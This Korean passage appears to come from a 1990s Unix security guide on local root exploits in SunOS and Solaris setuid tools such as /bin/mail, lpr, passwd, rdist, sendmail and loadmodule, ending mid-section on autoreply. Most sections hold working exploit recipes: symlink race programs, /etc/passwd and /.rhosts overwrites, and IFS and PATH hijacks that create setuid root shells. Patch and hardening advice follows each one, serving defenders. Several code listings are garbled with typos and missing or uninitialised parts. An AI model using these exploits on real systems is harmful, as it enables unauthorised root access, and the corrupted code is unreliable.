제 1 절 SunCS의/bin/mail에서

/bin/mail은 전자 우편을 이용할때 사용하는 명령어로서 구체적으로는 전자 우편을 보내거나 받거나 편집할 때 자주 사용되는 명령어이다. 이 명령어에는 일반 사용자의 허가되지 않은 시스템 영역의 접근, 즉 일반 사용자로 하여금 루트의 권한을 얻을 수 있도록 하는 버그가 존재하고 있다. /bin/mail의 버그가 존재하는 시스템은 다음과 같다.

·SunOS 4.1x

1 문제점

/bin/mail 명령어가 어떠한 문제점을 가지고 있는지 알아보자.

·/bin/mail은 전자 우편을 보낼때, setuid에 의해 루트 권한으로 /tmp/maa????파일을 생성한다.-????는 /bin/mail 프로세스의 PD중 끝의 네자리 숫자를 나타낸다.-이때 stat()로 먼저 검사하고 파일을 연다.

·파일을 열기 전에 시스템 콜 stat()를 이용하여 /tmp/maa????이 link가 아닌지를 점검한다. stat()로 검사한 직후, 파일을 열 기 직전에 일단 /tmp/maa????를 지우고 /tmp/maa????를 수정하고 싶은 파일로 링크한다. 이렇게 되면 /tmp/maa????에 의하여 링 크된 어떠한 파일도 루트의 권한으로 그 내용을 수정할 수 있게 된다는 것을 의미한다.

따라서 다음과 간은 과정으로 간단하게 루트 권한을 얻을 수 있다.

1. tmpmail.sh, mailrace.c를 만든다(파일의 내용은 차후에 설명하도록 하겠다).
2. mailrace.c를 compile하여 mailrace라는 실행 파일을 만든다.

% cc -o mailrace mailrace.c

3. 다음의 내용을 가지는 myrhosts라는 파일을 만든다(여기서,hackedhost는 침입하고자 하는 호스트의 이름을, hacker는 자신의 user-id을 말한다)

% cat myrhosts
hackedhost hacker

4. 그 후, 다음 명령을 실행하면 루트가 된다.

% chmod 755 tmpmail.sh
% tmpmail.sh myrhosts / .rhosts
% rsh hackedhost -1 root sh -i
# whoami
root
mailrace.c와 tmpmail.sh의 내용은 다음과 같다.

% cat mailrace.c
/* mailrace.c
*usage : mailrace pid tofile
*/
#include <stduio.h>
#include <unistd.h>

char path[] = "/tmp/maaXXXX";

main(argc,argv)
int argc;
char **argv;
{
int pid;
char *trv;

/*Stolen from mktemp.c */
for (trv = path; *trv; ++trv); /* extra X's get set to 0's */
while (*--trv == 'X'){
*trv = (pid % 10) + '0';
pid /= 10
}

symlink(argv[2], path);
while(symlink(argv[2],path));
exit(0);
}

mailrace.c에서는 /tmp/maa????(????는 argv[1]로 넘겨진다)라는 문자열을 만들고, 운하는 파일(argv[2])에 성공할 때까지 링 크를 시도한다.

%cat tmpmail.sh
#!/bin/sh
# (c) [81gm] 1994, tested under SunOS 4.1.2.
#
# tmpmail: overwrite files using binmail
# Usage: tmpmail from-file to-file

PATH=/usr/ucb:/usr/bin:/bin wxport PATH
IFS=" " export IFS

FROM_FILE="$1"
TO_FILE="$2"
PID="$$"

./mailrace $PID $TO_FILE &
exec /bin/mail -dN $LOGNAME < $FROM_FILE

tmpmail.sh에서는 한파일(FROM_FILE)을 다른 파일(TO_FILE)로 복사하기 위하여 두개의 인자를 받는다. 그리고 경쟁 조건(race condition)을 만족시키기 위하여 mailrace를 background로 실행시킨다. 물론 현재 프로세스의 pid와 TO_FILE를 인자로 넘긴다. 이 순간부터 mailrace는 /tmp/maa????를 TO_FILE에 죽을 때까지 링크하려고 노력한다. 그리고 FROM_FILE을 mail로 보내면 언젠가 는 위에서 설명한 경쟁조건이 만족된다.

2 대응책

SunOS 4.1.x의 /bin/mail에 있는 버그 이므로 이에 해당되는 패치(101436-08)를 구하여 설치한다. 제6장 제4절의 패치를 참조하 기 바란다. PLUS에서 만든 PSEC1을 설치하게되면 자동적으로 패치되어진다.

제 2 절 lpr에서

lpr은 문서의 프린트를 위하여 사용되는 명령어로서 거의 모든 UNIX 시스템에서 사용되고 있을 정도로 사용 빈도가 높은 명령 어 중의 하나이다. 그러나 누구나 쉽게 사용하는 이 명령어가 시스템에 치명적인 영향을 주는 버그를 안고 있을 줄 누가 상상이 나 했겠는가? 특히 이 버그를 이용하여 루트 권한을 얻는 것은 간단한 스크립트 몇 줄로써 가능하기 때문에 해커들이 즐겨 사용 한다.
lpr의 버그가 존재하는 시스템은 다음과 같다.

·SunOS 4.1.1 or earlier
·BSD 4.3
·BSD NET/2 Derived Systems
·A/UX 2.0.1

1 문제점

lpr 명령어가 어떠한 문제점을 안고 있는지 알아보자.

·다음과 같이 lpr은 setuid를 가지고 있다.

% ls -al /usr/ucb/lpr
32 -rws--s--x 1 root 32768 jul 24 1992 /usr/ucb/lpr*

·옵션으로 -s를 가지고 있다. 이 옵션이 의미하는 바는 다음과 같다.(SunOS 4.1.3의 lpr매뉴얼에서 발췌)

-s Create a symbolic link from the spool area to the data files rather than trying to copy them (so alrge file s can be printer). Thes means the data files should not be modified or removed until they have been printd. This option can be used to avoid trunvating files larger than the maximum given in the mxcapability of the printcap( 5) entry. -s only prevents copies of local files from being made. jobs from remote hosts are copied anyw ay. -s only works with named data files; if the lpr command is at the end of a pipeline, the data is copied to t he spool.

일반적으로 lpr filename 명령을 실행하면 lpr은 spool 영역(/usr/spool/lpd)으로 파일을 복사한다. 가끔씩 인쇄할 파일이 너 무 크면 spool 영역이 고갈될 수 있는데, 이러한 경우를 대비하여 lpr이 제공하는 옵션이 -s이다. -s 옵션을 사용하면, lpr은 프 린트할 파일을 spool영역에 복사하지 않고 spool영역에 프린트할 파일로의 심볼릭 링크를 만든다. 이 심볼릭 링크가 해커들에 의 해서는 전혀 다른 의도로 사용되어지면서 문제를 일으킨다.

· 마지막으로 lpd는 1000번마다 같은 이름의 파일을 사용한다.
1000개의 파일이름을 순차대로 반복하여 사용하는 난수 발생상의 문제 대문이다.

따라서 다음과 같은 과정으로 루트 권한을 얻어낼 수 있다.

1. 임의의 파일(temp)을 생성시킨다.

% echo test > /tmp/temp
1 -rw-r--r-- 1 plus 5 Aug 27 11:48 temp

2. lpr -s temp를 이용하여 spool 영역에 심볼릭 링크 파일을 생성시킨다.

% lpr -s -q /tmp/temp
% ls -al /usr/spool/lpd
total 9
1 drwxr-sr-x 2 daemon 512 Aug 27 11:50 ./
1 drwxr-xr-x 3 root 512 Nov 10 1992 ../
1 -rw-rw---- 1 daemon 51 Aug 27 11:50 cfA714ie
1 lrwxrwxrwx 1 root 21 Aug 27 11:50 dfA714ie -> /tmp/temp
1 -rw-r--r-- 1 daemon 15 Aug 27 11:49 lock
1 -rw-r--r-- 1 daemon 25 Aug 27 11:49 status

3. temp를 지우고 다시 이 파일이름으로 /etc/passwd에 심볼릭 링크를 만든다.

% rm -f /tmp/temp
% ln -s /etc/passwd /tmp/temp
% ls -al /tmp/temp
1 lrwxrwxrwx 1 plus 11 Aug 27 11:55 temp -> /etc/passwd

4. 의도적으로 999번 lpr한다. 손으로 하면 조금 힘이 들겠지만 프로그램을 만든다면 쉽게 해결할 수 있다.

5. 가짜 passwd 파일(tpasswd)을 하나 만들어서 lpr tpasswd를 실행하게 되면 lpd는 tpasswd를 dfA714ie 파일로 복사하려고 한 다. 하지만 이 dfA714ie는 /tmp/temp에 link가 되어 있고 또 /tmp/temp 눈/etc/passwd에 링크되어 있으므로 결국에는 실제의 /et c/passwd 파일로 복사된다.

2 대응책

시스템에 해당하는 패치를 구할 수 있다면 이를 이용해서 lpr을 교체하는 방법이 가장 간단한 방법이다. SunOS의 경우에는 쉽 게 패치를 구할 수 있을 것이고 PLUS에서 만든 PSEC1을 설치하면 자동적으로 패치된다. 패치가 안된다면, lpr의 setuid를 없애고 setgid를 붙이는 방법이 있다. 이때 lpr의 group은 적당한 이름으로 결정한다. 만약 lpr의 group을 lgroup이라고 했다면 /usr/s pool/lpd의 group id를 lprgrp로 바꾸고 그룹에게 쓰기 권한을 주면된다.

# cd /usr/ucb
# ls -lg lpr
-rws--s--x 1 root daemon 32758 Oct 12 1990 lpr
# chmod u-s lpr
# ls -lg lpr
-rwx--s--x 1 root daemon 32768 Oct 12 1990 lpr
# cat /etc/group
wheel:*:0:
nogroup:*:65534:
. . . . .
. . . . .
other:*:20:
# echo "lprgrp:*:30:" >> /etc/group
hweel:*:0:
nogroup:*:65534:
. . . . .
. . . . .
other:*:20:
lprgrp:*:30:
# chgrp lprgrp lpr
# ls -lg lpr
-rwx--s--x 1 root lprgrp 32768 Oct 12 1990 lpr
# cd /usr/spool
# ls -alg lpd
total 5
drwxrwsr-x 2 daemon daemon 512 Aug 26 10:12 .
drwxw-sr-x 11 root bin 512 Aug 27 17:15 ..
-rw-rw---x 1 root daemon 4 Aug 26 10:12 .seq
-rw-r--r-- 1 root daemon 4 Aug 27 17:15 lock
-rw-rw-r-- 1 root daemon 0 Jul 21 22:26 lpd-log
-rw-rw-r-- 1 root daemon 38 Jul 11 16:17 status

제 3 절 SunOS 4.1.x의 passwd에서

UNIX에서는 어떤 호스트에 들어가더라도 패스워드를 물어본다. 이러한 기초적인 보안방법인 패스워드를 변경하거나 로그인 쉘, 기타 자신의 정보를 변경하는 /bin/passwd명령어를 사용한다. 실제로 UNIX의 가장 기초적인 보안을 위해서 사용되며 UNIX를 사 용할 때마다 반드시 한번은 사용하게 되는 이 명령어에 루트 권한을 얻을 수 있게 해주는 버그가 있었다는 것은 옛속담의 믿는 도끼에 발등 찍힌다는 말을 실감 있게 느끼게 해주는 것 같다.
/bin/passwd의 버그가 존재하는 시스템은 다음과 같다.
.SunOS 4.1.x

1 문제점

/bin/passwd명령어의 문제점을 알아보자.

· /bin/passwd는 setuid가 붙어 있다.
% ls -1 /bin/passwd
32 -rwsr-xr-x 5 root 32768 Aug 1 1992 /bin/passwd*

· 패스워드를 변경할 때 /bin/passwd는 루트 권한으로 /etc/ptmp 파일을 잠시 만들게 된다. /etc/ptmp 한번에 한 process만 / bin/passwd를 열 수 있게 하는 semaphore의 기능과 임시파일의 기능을 한다.
· /bin/passwd에는 옵션이 있는데 이것은 특정 파일을 패스워드 파일로 사용할 수 있게 해준다.

보안 취약성의 예를 들기 전에 기본적인 /bin/passwd의 파일 갱신순서에 대하여 간단히 설명하여 버그에 대한 이해를 돕도록 하겠다.

1. /bin/passwd 가 실행된다.
2. /bin/passwd 는 /etc/passwd파일을 읽어서 사용자가 있는지 확인한다.
3. 만약 사용자가 존재한다면, 이전의 패스워드를 입력받고 새로운 패스워드를 입력받는다.
4. 루트를 소유주로 하는 /etc/ptmp라는 임의의 파일을 만들어 변경된 내용을 갱신한다.
5. /etc/ptmp 를 /etc/passwd로 복사하고서 /etc/ptmp를 지운다.

여기서 주목하여야 할 사실은 위의 모든 작업이 루트의 권한으로 이루어지고 있다는 것이다. 따라서 다음과 같은 작업을 통하여 루트 권한을 얻어낼 수 있다.

1. 임의의 패스워드 파일 /tmp/b.rhosts를 만든다. 이 파일의 크기가 클수록 경쟁 조건이 효과적으로 발생하므로 가능하면 /etc /passwd를 여러번 반복하여 복사하고 마지막에는 다음의 한 줄을 추가한다.
localhost hacker : : : : : :
2. /tmp/a로 /tmp/b를 link한다.
3. passwd -F /tmp/a/.rhosts를 실행시킨다. 이때 passwd프로세스는 사용자에게 패스워드를 묻는다.
4. 패스워드를 입력하기 전에 /tmp/a를 /로 링크한다.
5. 패스워드를 입력한다.
6. passwd 프로세스는 /tmp/a에 ptmp(/ptmp)를 만든다.
7. passwd 프로세스가 /tmp/a에 /ptmp를 만들자 마자 /tmp/a를 /tmp/b로 연결한다.
8. passwd 프로세스는 /tmp/a/.rhosts(/tmp/b/.rhosts)를 읽고(읽는 시간을 길게 하기 위하여
/tmp/b/.rhosts의 길이는 길게 하는 것이 좋다.) 입력된 패스워드를 변경하여 ptmp에 쓸 것이다.
9. passwd 프로세스가 /tmp/a/.rhosts를 열자마자 /tmp/a를 /로 바꾼다.
10. passwd 프로세스는 /tmp/a/.rhosts(/.rhosts)에 ptmp를 쓴다 (/tmp/a/.rhosts 와 ptmp는 같은directory에 존재하여야 하므 로 /tmp/a를 /와 /tmp/b로 번갈아가며 링크하는 것이다.)
11. 결국 /.rhosts에는 localhost hacker : : : : : :라는 한줄이 삽입된다.

2 대응책

제6장 제4절에 나오는 패치를 참조하여 시스템에 적합한 패치를 설치하는 것이 가장 좋은 방법이다. PLUS에서 만든 PSEC1을 설 치하면 자동적으로 패치된다. 패치를 할 수 없으면,
/bin/passwd의 -F옵션을 제거하는 방법이 있다.

> # cd bin
> # mv passwd passwd.old; chmod 700 passwd.old
> # cp passwd.old passwd
> # adb -w - passwd
not core file = passwd
> /1 'F:'
0x68de
> 0x68de/w 0
0x68de: 0x463a = 0x0
<CTRL-D>
> # chmod 4711 /bin/passwd
> # /bin/passwd -F /tmp/WinnersBlues
passwd: illegal option -- F
Usage: passwd [-1|-y] [-F file] [-afs] [-d user] [-e user]
[-n numday user] [-x numday user] [user]
#

제대로 제거되었다면 실행시 -F옵션이 없다는 메시지가 나온다.

제 4 절 rdist에서

UNIX 사용자는 누구나 쉘(Bourn shell. C shell, ...)을 사용하고 있다. 하지만 이 쉘들에게 IFS라는 환경 변수가 존재한다는 사실을 알고 있거나 또 알고 있다고 하더라도 변수가 어떻게, 어떤 경우에 사용되는지에 대하여 자세히 알고 있는 사람은 그리 많지 않다. rdist에는 IFS를 이용하여 루트 권한을 얻을 수 있는 버그가 있다.
먼저 IFS에 대하여 간단히 소개하도록 하겠다. IFS는 input-word-separator러 어떤 문자를 사용할 것인지를 정하는 환경 변수 이다. 다음은 IFS를 사용하는 간단한 예이다.

% cat > test
#!/bin/sh
IFS="/"
export 'pwd'
-D

위의 쉘 스크립트 실행결과와 그냥 프롬프트 상에서의 pwd(1)를 비교해 보면 다음과 같다.

% pwd
/home/fox/under/plus/tmp
% test
home fox under plus tmp

IFS가 입력된 단어들의 separator로 작용하여 home, fox, ...등이 하나의 단어로 인식되고 있다. 그러면 다음의 스크립트의 실 행결과를 유심히 살펴보도록 하자. 여기에서 rdist가 어떻게 보안에 헛점을 남기게 되는지를 암시하는 예이다.

% cat > test1
#!/bin/sh
IFS="/"
export PATH
/usr/lib/sendmail
-D

% test1
test1: usr: not found
usr

usr이라는 실행파일이 없다는 메시지를 보여주고 있다.
rdist의 버그가 존재하는 시스템은 다음과 같다.

· SunOS 4.1.2 or earlier
· A/UX 2.0.1
· SCO 3.2v.4.2
· BSD NET/2 derivedn Systems

1 문제점

rdist명령어의 문제점을 살펴보자.
. 다음과 같이 rdist는 setuid를 가지고 있다.
% ls -al /usr/ucb/rdist
72 -rwst-x--x 1 root 73728 Feb 27 1995 /usr/ucb/rdist*

. 환경 변수인 IFS가 '/'로 정의되어 있다.
. rdist는 실행도중에 popen(3)을 이용하여 /usr/lib/sendmail을 실행시킨다(distfile에 대한 자세한 내용은 man(1)을 참조하 기 바란다).

%cat distfile
HOSTS = hackerhost
FILES = BullInTheHeather
${FILES} -> ${HOSTS}
install /tmp/1 ;
notify hacker ;

2. /bin/sh를 현재의 디렉토리로 복사한다.
3. 다음과 같은 내용의 rdist가 실행할 프로그램(소스 파일이름은 usr.c)을 만들어 실행파일의 이름이 usr이 되도록 컴파일한다 . 이 프로그램은 현재 디렉토리에 있는 sh라는 파일의 소유주를 루트로 하고 모드에 setuid를 첨가한다.
% cat usr.c
main()
{
setuid(0); /* dffective _ser _d is root */
chown("sh", 0, 0); /* change owner root */
chmod("sh", 04755); /* set the setuid */
exit(0);
}
% cc -o usr usr.c

4. 현재 디렉토리를 경로(path)에 첨가시키고 IFS를 '/'로 설정한다.

% SET PATH=(. $path)
% setenv IFS /

5. rdist를 실행시킨다. rdist는 setuid가 붙어 있기 때문에 실행 순간에는 루트의 권한으로 실행된다. 실행중에 /usr/lib/send mail을 실행시키려고 하지만 IFS가 '/'로 설정되어 있기 때문에 usr을 실행시키게 된다. 이때 미리 만들어 놓았던 usr프로그램이 실행되게 되는데 이 프로그램은 이미 복사해두었던 해커 소유의 sh파일을 루트소유로 바꾸어 버리고 또 이 파일에 setuid를 첨 가시키게 된다. 결국 해커는 이 sh파일을 실행시키기만 하면 루트 권한을 얻어낼 수 있게 된다.

2 대응책

rdist는 잘 사용되지 않는 프로그램이다. 그러므로 rdist의 setuid를 제거함으로써 간단히 이 문제를 해결할 수 있다 만일 꼭 사용하고자 한다면 SunOS인 경우에는 패치(Patch-ID#100383-06)를 받아서 rdist를 패치하거나, PLUS에서 만든 OSEC1을 설치하면 자동적으로 패치된다. 그러나 다른 시스템인 경우에는 판매자(vendor)와 접촉하여야 한다. 자세한 내용은 제6장 제4절에 나오는 패치를 참조하도록 하자.

제 5 절 Sun sendmail에서

버그 많기로 악명이 높은 sendmail은 아직까지도 계속 버그가 노출되어 관리자에게 상당히 애를 먹이는 프로그램이라 할 수 있 다. sendmail의 경우는 호스트의 내부에 계정이 없어도 다른 호스트에서 메일을 보내어 원하는 명령을 수행시킬 수 있으므로 잘 못된 sendmail을 사용할 경우에는 심각한 문제가 발생 할 수 있다.
의 수많은 버그 중에서 이번에 소개할 버그는 sendmail이 메일을 보내지 못하면 dead.letter를 생성하는 것에 기인한다.

1 문제점

sendmail의 문제점을 살펴보자.
·sendmail은 setuid를 가지고 있다.
% ls -1 /usr/lib/sendmail
160 -rwsr-x--x 1 root 155648 Apr 2 23:27 /usr/lib/sendmail*

·sendmail은 존재하지 않는 사람에게 메일이 보내어져서 에러가 발생하면 자동으로 /var/tmp에 dead.letter라는 파일을 생 성시킨다.

이 버그에 대한 해킹의 근본적인 접근방법은 앞에서 이미 설명한 바 있는 버그와 동일하다고 볼 수 있다. 아래의 내용을 살펴 보면 /var/tmp/dead.letter를 쓰기를 원하는 파일(/.rhosts 등...)에 링크시키고 쓰여질 내용이 있는 파일(test)을 sendmail을 이용하여 존재하지 않는 사람에게 보내어 에러가 발생하도록 하고 있다. 여기서 에러가 발생하면 보내어지지 않은 메일을 dead.l etter에 쓰게 되는데 이는 /.rhosts에 링크가 되어 있으므로 결국에는 /.rhosts에 쓰게 되는 셈이다.
다음과 같은 과정으로 루트 권한을 얻어낼 수 있다.

1. /var/tmp에 dead.letter라는 심볼릭 링크 파일을 만든다.
% ln -s /.rhosts /var/tmp/dead.letter
% ls pal /var/tmp
total 118
1 drwxrwxrwx 3 root 512 Aug 28 11:09 ./
1 drwxr-sr-x 9 root 512 Jul 9 14:39 ../
9 -rw------- 1 taiyo 9216 Aug 20 21:32 Ex00496
1 lrwxrwxrwx 1 plus 8 Aug 28 11:09 dead.letter -> /.rhosts

2. /.rhosts에 쓰고자 하는 내용을 가지는 파일을 만든다.
% cat > test
localhost guest
-D

3. 에러를 발생시킬 메일을 의도적으로 보낸다.

% /usr/lib/sendmail -LO '-oM#anything' $USER < test
expansion too long
expansion too long
setsender: can't even parse postmaster!
expansion too long
plus... cannot resolve name
Possible alias loop
No valid recipients
expansion too long
Mailer-Daemon... cannot resolve name
Can't parse myself!

다음과 같은 결과를 얻게 된다.

% cat /.rhosts
From plus Mon Aug 28 11:14:48 1995
Return-Path: <plus>
Received: by isis.pyramid.ac.kr (4.1/SMI-4.1)
id AA15174; Mon, 28 Aug 95 11:14:48 KDT
Date: Mon, 28 Aug 95 11:14:48 KDT
From: plus
Message-Id: <[email protected]>

localhost guest

2 대응책

Sendmail의 소스는 고칠 수 없고(할 수 있지만 어렵다), 사용하지 않을 수도 없으므로 패치를 하는 수 밖에 없다. 최신 Berkel ey sendmail을 받아서 설치하는 것도 추천하고 싶은 방법 중의 하나이다. sendmail의 버전은 sendmail.8.6.11이상이면 좋은데, 한글 사용자라면 sendmail.8.6.12H를 권장한다.

제 6 절 Openwin의 loadmodule에서

loadmodule은 OpenWindows에서 사용되는 유틸리티로서 서버가 로드 가능한 드리이버를 유닉스의 커널에 로드하기 위하여 사용 한다. loadmodule 버그는 chmod를 절대 경로를 두지 않고 수행한다는 것이다. chmod라는 이름의 실행파일을 만들어 최우선 경로 에 두면, loadmodule에 의하여 루트의 권한으로 이 실행파일이 수행된다.

1 문제점

loadmodule의 문제점을 정리하면,

·loadmodule은 setuid를 가지고 있다.

% ls -1 /usr/openwin/bin/loadmodule
-rwsr-xr-x 1 root 24576 Sep 18 1991 /usr/openwin/bin/loadmodule*

·loadmodule은 chmod()를 사용함에 있어 절대 경로를 통하여 사용하고 있지 않다.
위의 내용에 비추어 다음과 같은 과정으로 루트 권한을 얻어낼 수 있다.

1. 먼저 loadmodule이 존재하는지를 확인한다.

% ls -1 /usr/openwin/bin/loadmodule
-rwsr-xr-x 1 root 24576 Sep 18 1991 /usr/openwin/bin/loadmodule*

2. loadmodule이 존재한다면, loadmodule에 의하여 실행되는 evqload의 내용이 다음과 같은지 확인한다.

% cat /ect/openwin/modules/ebqload
#!/bin/sh
# @(#)evqload.sh q.w 91/09/14
#
# Copyright (c) 1991 by Sun Microsystems, Inc.

# Executed by loadmodule to create tje /den/evq device entry

if [ $4 ! = 0 ]; then
if [-f /dev/evq]; then
rm/dev/evq
fi

/etc/mknod/dev/evq c $4 0
chmod 666 /dev/evq
fi

3. 역시 loadmodule에 의하여 실행되는 winlockload의 내용이 다음과 같음을 확인한다.

% cat /etc/openwin/modules/winlockload
#!/bin/sh

# @(#)winlockload.sh 1.2. 91/09/14
#
# Copyright (c) 1991 by Sun Microsystems, Inc.

# Executed by loadmodule to create the /dev/winlock device entry
if [ $4 != 0]; then
if [ -f /dev/winlock ]; then
rm/dev/winlock
fi

/etc/mknod/dev/winlock c $4 0
chmod 666 /dev/winlock

4. 아래의 파일들이 존재하는지 확인한다.

% ls /sys/sun4m/OBJ/evq*
/sys/sun4m/OBJ/evqmod-sun4.o
/sys/sun4m/OBJ/evqmod-sun4c.o
/sys/sun4m/OBJ/evqmod-sun4m.o

5. /bin/sh을 현재의 디렉토리에 hell이라는 이름으로 복사한다.

% cp /bin/sh ./hell

6. loadmodule이 실행할 프로그램을 하나 만들어 실행파일의 이름이 chmod가 되도록 컴파일한다. 이 프로그램이 수행하여야 할 내용은 현재 디렉토리에 있는 hell이라는 파일의 소유권을 루트로 만들고 모드에 setuid를 첨가하는 것이다.

7. 현재 디렉토리에서 경로를 다음과 같이 지정한다.

% set path=(. $path)

8. loadmodule을 실행시킨다.

% /usr/openwin/bin/loadmodule evqmod-sunrm.o evqload
/usr/openwin/bin/loadmodule: child process died with status 65024

9. 이제 setuid가 붙은 루트 소유의 실행파일이 생성되었다.

% ls -1 hell
-rwsr-sr-x 1 root 106496 Apr 8 18:48 hell*

10. 이제 이 실행파일만 실행시키면 다음과 같이 루트가 된다.

% ./hell
# whoami
root

다음은 loadmodule을 이용한 해킹의 또다른 예이다. loadmodule을 아래의 예에서와 같이 실행시키면 loadmodule은 /bin 디렉토 리 아래의 프로그램을 수행하게 된다. 이때 rdist에서와 같이 IFS를 '/'로 설정하면 bin이라는 실행파일이 수행된다. 즉, rdist 에서의 해킹용 파일인 usr과 똑같은 내용의 bin이라는 실행파일을 만들어주기만 하면 같은 결과를 얻을 수 있다.

% setenv IFS/
% /usr/openwin/bin/loadmodule/sys/sun4c/OBJ/evqmod-sun4c.o \
/etc/openwin/modules/evqload

2 대응책

loadmodule도 rdist와 같다. 잘 사용되지 않고, 쓰지 않아도 불편하지 않다. 그러므로 setuid을 제거하는 방법을 추천하고 싶 다. 그러나 꼭 필요하다면 패치를 받아 설치하도록 한다. 제6장 제4절에 나오는 패치를 참조하기 바란다.


제 7 절 Solaris 2.x(Sunos 5.x)의 /tmp에서

Solaris 2.x시스템에서 /tmp 디렉토리나 /var/tmp 디렉토리의 permission이 잘못되어 있을 경우 문제가 생길 수 있다. 보통 /t mp디렉토리의 permission에는 다음과 같이 sticky bit(t)이 붙어 있다.

% /bin/ls -ld /tmp
drwxrwsrwt 2 sys sys 61 Sep 6 12:53 /tmp

만일 .sticky bit이 붙어 있지 않다면 일반 사용자가 간단한 경쟁 조건을 이용한 프로그램으로써 루트의 권한을 얻을 수 있다. 시스템에서 tmpfs 를 사용하고 있다면, 이 시스템은 /tmp 디렉토리에서 sticky bit을 빼버리기 때문에 문제를 일으킬 수 있다.

1 문제점

Solaris 2.x에서 /tmp의 문제점을 정리하면 다음과 같다.

·/tmp 디렉토리에 sticky bit이 붙어 있지 않다.

% /bin/ls -ld /tmp
drwxrwsrwx 2 sys sys 61 Sep 6 12:53 /tmp

/tmp 디렉토리에 이와 같이 sticky bit이 붙어 있지 않으면 /usr/bin/ps가 실행할 때 경쟁조건이 생긴다.
먼저 ps가 어떻게 동작하는지 살펴보자. ps는 프로세스의 상태를 보여주는 유용한 명령어이다. 이는 실행중에 임시로 정보를 저장할 파일을 하나 생성한다. 예를 들어 그 파일 이름을 ps.PID라고 하자. ps는 /tmp디렉토리에 /tmp/ps.PID라는 파일을 열고, 이 파일의 소유주를 루트로 바꾼다. 그리고 그 파일의 이름을 /tmp/ps_data로 바꾼다. 만약 ps가 /tmp/ps.PID라는 파일을 열고난 후에, 시스템에 침입하려는 다른 사람의 프로세스가 이파일을 unlink하고, 임의로 setuid가 붙은 자신의 /bin/sh같은 파일에 다 시 심볼릭 링크를 해버렸다고 가정하자. /tmp디렉토리가 모든 사용자에게 쓰기 권한을 주기 때문에 이것은 가능한 일이다. 아무 것도 모르고 있는 ps프로세스는 여느때와 마찬가지로 자신의 ps.PID파일의 소유주를 루트로 바꿀 것이다. 이와 같은 경쟁 조건은 다음의 예를 보면 이해가 더 잘 될 것이다.
예를 들어,

1. hack.c라는 프로그램을 하나 만든다.

% cat hack.c
/
/* hack.c
* for only solaris 2.x.
*/
#include <stdio.h>
. . .
main(argc,argv)
int argc ;
char *argv [] ;
{
. . .
. . . /* check some condition */
strcpy( targetfile, argv[1] ) ;
dirp = opendir("/tmp") ;
for (;;) {
while (( dp = readdir(dirp)) ! = NULL {
if (
!strncmp(dp->d_name, "ps.", 3)) {
unlink(name); /* unlink ps,PID */
/* symbolic link to targetfile */
symlink(targetfile.name);
if ( stat(targetfile,&fileinfo) >= 0)
if ( fileinfo.st_uid == 0) {
/* if it owned by root */
printf( "Success !\n") ;
exit(1) ;
} } } /* while */
} /* for */
. . .
}

2. hack.c를 컴파일을 한다.

% cc -o hack hack.c

3. 아래의 명령어들을 수행한다.

% cp /bin/sh -/rootshell ; shmod 14775 -/rootshell
% /bin/sh -c 'while /bin/true ; do ps > /dev/null ; done' &
% ./hack -/rootshell
. . .
Success !
% -/rootshell
#whoami
root

이렇게 함으로써 해커는 setuid가 붙어 있는 루트 소유의 -/rootshell을 얻을 수 있고 이를 실행함으로써 쉽게 루트의 권한을 얻을 수 있다.

2 대응책

1. 먼저 시스템에 문제가 있는지 확인한다.
지금 tmpfs가 실행되어 /tmp디렉토리가 swap에 마운트 되어 있는지 확인한다. 확인하는 방법에는 다음의 두 가지가 있다.

% /usr/sbin/df -k /tmp
Filesystem kbytes used avail capacity Mounted on
swap 28348 12 28336 0% /tmp

또는 파일 시스템의 설정 파일인 /etc/vfstab을 본다.

#device device mount FS fsck mount mount
#to mount to fsck point type pass at boot options
swap - /tmp tmpfs - yes -

만약 위의 두가지 경우 중 하나에 속하면, 시스템에서는 tmpfs를 수행중이며, 또한 현재 /tmp디렉토리에 sticky bit이 설정되어 있다 하더라도, 다음 부팅시에 sticky bit이 빠지게 된다. /tmp디렉토리에 sticky bit이 있는 경우는 다음과 같다.

% /usr/bin/ls -ld /tmp
drwxrwxrwt 2 sys sys 61 Aug 15 12:12 /tmp

만약 drwxrwxrwt대신에 drwxrwxrwx으로 되어 있다면 시스템은 당장이라도 침입당할 수 있다.

2. 그리고 다음과 같은 작업을 수행한다.

먼저 /tmp디렉토리에 sticky bit을 설정한다. 그리고 소유주와 소유그룹을 정확하게 설정해 준다.

# /usr/bin/chmod 1777 /tmp
# /usr/bin/chown sys /tmp
# /usr/bin/chgrp sys /tmp
# /usr/bin/ls -ld /tmp
drwxrwxrwt 2 sys sys 61 Aug 15 12:12 /tmp

그러나 위의 작업을 수행하여도 다시 부팅한다면 /tmp디렉토리의 sticky bit이 없어진다. 따라서 영원히 /tmp의 permission을 설정하기 위해서는 부팅시에 수행되는 프로시져에 넣어둘 필요가 있다. 다음의 스크립트를 작성하여 /etc/rc.3d/S79tmpfix로 링 크시키도록 하자.

# cat /etc/init.d/tmpfsfix
#!/bin/sh
#This script run as root.

if [ -d /tmp]
then
/usr/bin/chmod 1777 /tmp
/usr/bin/chgrp sys /tmp
/usr/bin/chown sys /tmp
fi
#
# ln -s /etc/init.d/tmpfsfix /etc/rc3.d/S79tmpfix
#

그리고 다음 부팅시에 /tmp의 permission이 정확히 되었는지 확인한다.

3. /var/tmp 디렉토리를 확인한다.

이 디렉토리는 tmpfs에 의하여 자동적으로 설정되는 디렉토리가 아니다. 따라서 한번 permission을 변경시키면 아무리 부팅하 더라도 바뀌지 않는다. 따라서 여기에 sticky bit이 붙어 있는지 확인하고, 없으면 sticky bit을 붙여준다.

% /usr/bin/ls -ld /var/tmp
drwxrwxrwt 2 sys sys S12 Aug 15 11:35 /var/tmp

위와 같이 나타난다면 문제가 없는 것이다.

제 8 절 Aytcreply에서

Autoreply는 elm 메일 시스템의 일부로서 사용자가 자신의 메일에 대한 자동 응답을 쉽게 설정할 수 있도록 도와주는 유틸리티 프로그램이다.
사용법은 다음과 같다.
·autoreply
자동 응답이 지금 설정되어 있는 상태(on/off)를 알려준다.
·autoreply off
자동 응답을 끈다.
·autoeply filename
자동 응답을 켠다. 즉, 메일이 오면 의 내용이 자동 응답으로 보내어진다.

1 문제점

프로그램의 문제점은 (1) setuid가 붙어 있어야 한다는 젓, (2) 이 프로그램이 만드는 임시 파일 이름을 추측하기가 쉽다는 것 , 그리고 (3) 그 점을 이용하여 보통의 사용자가 어떤파일이든 만들 수 있다는 것이다.
먼저 autoreply의 동작을 다음의 예를 통하여 살펴 보자. 사용자 'plus'가

% autoreply reply.txt

라고 실행하면 autoreply는 /etc/autoreply.data라는 파일에

plus /home/plus/reply.txt 32

